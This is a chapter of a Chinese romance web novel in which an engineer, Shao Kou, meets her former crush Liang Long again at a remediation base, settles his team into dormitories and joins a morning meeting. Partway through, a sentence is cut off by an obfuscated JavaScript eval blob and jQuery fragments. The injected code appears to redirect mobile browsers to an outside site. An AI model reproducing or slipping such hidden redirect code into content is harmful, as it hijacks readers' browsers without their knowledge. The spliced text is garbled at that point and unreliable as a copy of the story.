23. 23

作品:《假装没看你

    “我叫苏惜文,珍惜的惜,文化的文。他是乔青。”


    “你好。”


    “基地有宿舍,一会让邵老师带你们过去。”


    “……邵老师?”


    声音飘过来,邵蔻擦擦眼尾的雨水,看着苏惜文和梁泷:“你们和我来。”


    梁泷走在她身后,她止步,直直转面,看着头顶伸过来的雨伞,说了句谢谢。


    “没事。”


    “你们的东西呢?”


    他看眼雨中的黑车。


    她似要拔脚过去,“先去搬行李。”


    他轻拦了下,手掌若有似无地擦过她细细的腕骨。


    “我们自己来。”他转向她,解释:“重。”


    比起十几岁的清朗,他的嗓音偏于低沉,不知从哪一年起,他在回忆里变得模糊不清。


    一群人高马大的男人跟在她身后,从厂区来到宿舍楼,团队里一个娃娃脸男孩子挺热情的,追着她喊“邵蔻姐”。


    邵蔻面相显小,纤纤肩头在这群男人中间,像黑雨携着朵白云。


    其中一个自来熟的男生说:“你乱喊什么?”


    梁泷问她:“你是九六年?”


    合作伙伴的信息,知道也不奇怪,她点点头。


    自来熟的男生:“叫什么姐啊,比咱还小一岁。”


    娃娃脸挠头,“原来是妹妹。”


    邵蔻一扯嘴角,“叫我邵蔻就行。”


    这里的人都值得尊敬,娃娃脸毕恭毕敬地喊了声,和别人一样喊:“邵工。”


    楼上很暗,邵蔻打开手机手电筒。


    娃娃脸皮肤白白的,挎个背包,像个高中生,“邵工,你是哪个学校毕业的?”


    “中国农大。”


    “不同校,太不巧了。”娃娃脸不死心:“那你本科也在北京读吗?”


    邵蔻说:“在南大。”


    “南京啊,我在山东上的学,唉一南一北差的有点远。”套近乎不成,娃娃脸死心了,“不过再远也没有梁泷远,他在炀安。敢想么七百多,去炀大!”


    邵蔻脚步顿了下,对这两个字眼高度敏感,没接住话茬,索性沉默。


    宿舍一楼是企业员工,二楼和三楼是分配给研究所,房间没挨着,零散地分在两楼。


    安排好一部分,人少了大半,娃娃脸和一个北京同事分到一个屋,他往里面搬行李。


    梁泷站在她身侧,对面墙壁上映出两人一高一矮的身影。


    邵蔻堪堪到他肩膀的位置,她衣着整洁,发辫低扎盘起,两边掉出来的碎发被勾到耳后,发梢沾有水珠,像凝着块白玉,一闪一闪。


    梁泷看着壁上女人的剪影,某一瞬间好像她也看了过来,“梁老师。”


    “嗯?”


    邵蔻打破安静,“你高考七百多分,怎么会想报炀安大学?”


    他的专业在炀安大学里不是国家特色,之前也有朋友对他的学校好奇,梁泷习以为常:“志愿没填好,滑档了。”


    邵蔻长睫轻颤,“那你第一志愿是?”


    “南大。”梁泷看着她,说:“你的母校。”


    邵蔻心口一紧,是命运不公还是有缘无分,他们就这样错过了四年。明明是她追随他的目标,最后变成一句她的母校。


    在旁听见的同事说:“这么说来,你们差点就是校友了。”


    “嗯,还真是差点。”梁泷靠着墙壁,没怎么在意地看她一眼,邵蔻垂着头在发呆,没半分热切。


    同事离开长廊,邵蔻的视野变开阔,梁泷穿着深色工装服,裤脚扎进靴子,站姿如屹立的青松。


    身材线条硬朗,袖口挽起,露出有力的小臂,工作的原因,皮肤晒成健康的麦色,成熟,令人生畏的气质扑面而来。


    邵蔻把钥匙给他,摁了摁屋内灯盏的开关,“你早点休息,明早九点开例会。”


    梁泷环顾一圈,单人床,单人桌,小小的窗子和棕色衣柜。


    帘子透光,他也不讲究,想开窗透气,错开一条缝,剧烈的风就撞上来。刮乱他的额发,他被吹得眯了眯眼,关上窗。


    邵蔻去里面洗手间看热水器情况,几平米的屋子,淋浴头有三个方向可以旋转,画着相对应的标志,她朝一边拧动。


    刺——


    热水喷洒,她用手试了试温度。


    墙上镜子有些污渍,毕竟来这里不是享受的,条件称不上好,洗漱台留下长年累月的水痕,结成块的皂沫,顶上的灯泡暗了许多,有两三只小飞虫绕着转,灯泡突然熄了。


    她捋了捋头发,出去简明扼要地说了下热水怎么用,临时收到其他同事的消息,她匆匆出门,往其他楼层去。


    二十分钟后走到楼下,外面风声呜咽,穿不透厚厚的云层。她摸到兜里一枚硬硬的钥匙,想起梁泷屋里的灯,返回去。


    邵蔻来到二楼,睫毛上坠着雨滴,面颊湿淋,唇色浅红,吹了冷风人有些抖,停在216房门前,准备敲门。


    木门嘎吱一声,从里面拉开。


    她还没缩回举到半空的手。


    梁泷穿着简约的藏蓝色薄款毛衣,黑色长裤,脑袋上顶着条白色毛巾,黑发还未吹干,刚洗完澡身上带着淡淡的柠檬香。


    邵蔻站在门外。


    他扶着门框,拉开了些,屋内的白灯光随之倾泻流出,与空寂幽深的长廊形成强烈的明暗对比。


    她拿出那枚钥匙,硬硬的一片被她暖的很热:“我看卫生间的灯不亮了,这间没人住,要是有什么问题,你可以搬过去。”


    他拿过那枚钥匙,她的手很小,外面跑了一趟,碰起来很凉。


    “辛苦了让你又跑一趟。”他看到她冻红的手指,让她等一等,“刚才你走太快,叫不住你。”


    梁泷拿毛巾擦了擦发顶,动作粗鲁,甩了下已经干了的额发,趿拉着拖鞋进屋。


    邵蔻的视线跟着走进屋里,他蹲在摊开的行李箱边,翻找着什么,后背宽厚,脚部足弓的线条绷起,弧形动感漂亮。


    梁泷翻出件夏装,过于单薄,没什么御寒的作用,被他丢到一边,换了件深色的外套,走过来,稍抬下巴,看着她身上那件:“穿着吧,你穿太少了。”


    他的外套皮质硬硬的,宽大,重量压着肩膀。


    她纤细的手臂裹在空荡荡的袖管里,衣摆遮住腿窝,立起的领子遮住半边脸,呼吸间都是他的味道,潮湿雨夜混进清香的柠檬味。


    雨停了,黯淡的天乍破出皎皎月辉。


    梁泷拉窗帘时看到外面,天空不晴朗,基地的路又空又远,渺无人影,路灯投下光拉长,邵蔻独自走着,走过第三棵毛杨树,放慢脚步,掏出手机好像在拍地上的影子。


    梁泷不知其因,拉过窗帘,没再看。


    邵蔻在路灯下拍了张自己的影子,这天是二月二。很重要的一天,她又遇见了他。


    晚上起了狂风,像鞭子抽在身上,柳条狂魔乱舞。


    这样的天气好似高二的盛夏,她在一场雨里等来梁泷,可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782049|156427||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    少年只是经过。


    回忆倒带,停在满是遗憾的一刻。


    清晨,天边乳白清透,树木绿草都在风里站里一夜,这会看着缭乱狰狞,但被雨水洗刷后,常青树的叶子绿油油。


    邵蔻刷牙的时候喜欢看窗外新长的小苗,规划哪里土层待修复,哪里未做污染评估。


    她吐掉口中的牙膏沫,洗完脸在窗台边拍水乳,换上工装开门下楼,早晨的风凛冽,冻的人牙齿直打颤。


    基地绿树茂盛,楼区林立,后面有块废弃的场地。


    火红的旭日升起,天际线下有一抹人影,梁泷穿着轻便的运动衣在晨跑。


    邵蔻从荫蔽小路经过,对面宿舍楼有几间卧室拉开窗帘,阳台上挂着深蓝色或是黑色的工服,食堂卷帘门彻底升上去,大厅亮起明灯。


    楼宇间栽种的大树参天,叶子萧萧。


    邵蔻在不远处看梁泷跑步,十几分钟过去,终是抵不住冷风,推开门进了工作楼。


    她备好资料,PPT,打开投影仪,插上U盘。去接了杯热水泡咖啡,捂着冰凉的双手。


    那道自动感应门开了一下,一群年轻人挂着工牌进来,数双鞋子跨过,感应门闭合,室内挤满人声笑语。


    各自问候早安,“邵学姐,早啊。”


    邵蔻微笑回应:“早,惜文。”


    乔青端着咖啡杯进来,眼皮一耷,这是他最常见的状态,哪怕是在做缜密细致的实验,他也是一脸困倦,像很缺觉,又酷又丧。


    苏惜文直接把他当吉祥物,“呜呼!”她摁着他肩膀蹦起来,落地后再狂揉一记他头发,“早哦,额滴青~”


    她怪里怪气地学外地的方言,额滴额滴的讲话。


    乔青木着脸,看着苏惜文顺手端走他的咖啡,他无动于衷,回到位置上。


    八点四十五。


    他们带着实验数据和领导层下发的污染修复文件,来到会议室。


    八点五十。


    感应门响了一下,接踵而至的是男人们的脚步声。


    沉默肃静,一下又一下的步音在回荡,连带敲响邵蔻心里的鼓。


    “来咯。”


    苏惜文东张西望,扒开百叶帘,看向外面。


    同事们拉开椅子坐下来,长而空的会议桌不一会就放满白花花的A4纸,齐全到形成一个资料库。


    声渐强,脚步拉近。


    邵蔻从文件里抬起头,放下手里的签字笔,静候谁的道来。


    会议室的门开了,四个男人身姿俊挺,长腿高个,站进来后空间都显拥挤。


    梁泷看到邵蔻,点点头算是打过招呼,介绍说:“邵蔻,这次的工程师。”


    两边同事自我介绍,有生物学家、地质学家和技术工。新来的研究员负责植物挥发、固定和提取,同属修复工程部。


    梁泷侧过身,目光划过一个又一个人,和她再没有交集。


    苏惜文来倒茶水,“绿茶可以吗?这里只有这个。”


    “可以。”


    滚烫的开水倒入杯里,茶叶舒卷,绿色茶底,杯口氤氲雾气,同事凑近闻了闻,竖起拇指:“香。”


    邵蔻拉开椅子坐下,想喝咖啡提神,身边一个人蓦地伸手,从外套内层里掏出盒巧克力牛奶,放在她手边,又从另一个口袋夹层掏出袋芝士三明治。


    梁泷低着眼在看下发的文件,启唇:“你的早餐,昨晚麻烦你了。”


    她指尖碰到奶盒,温热的。


    他的体温。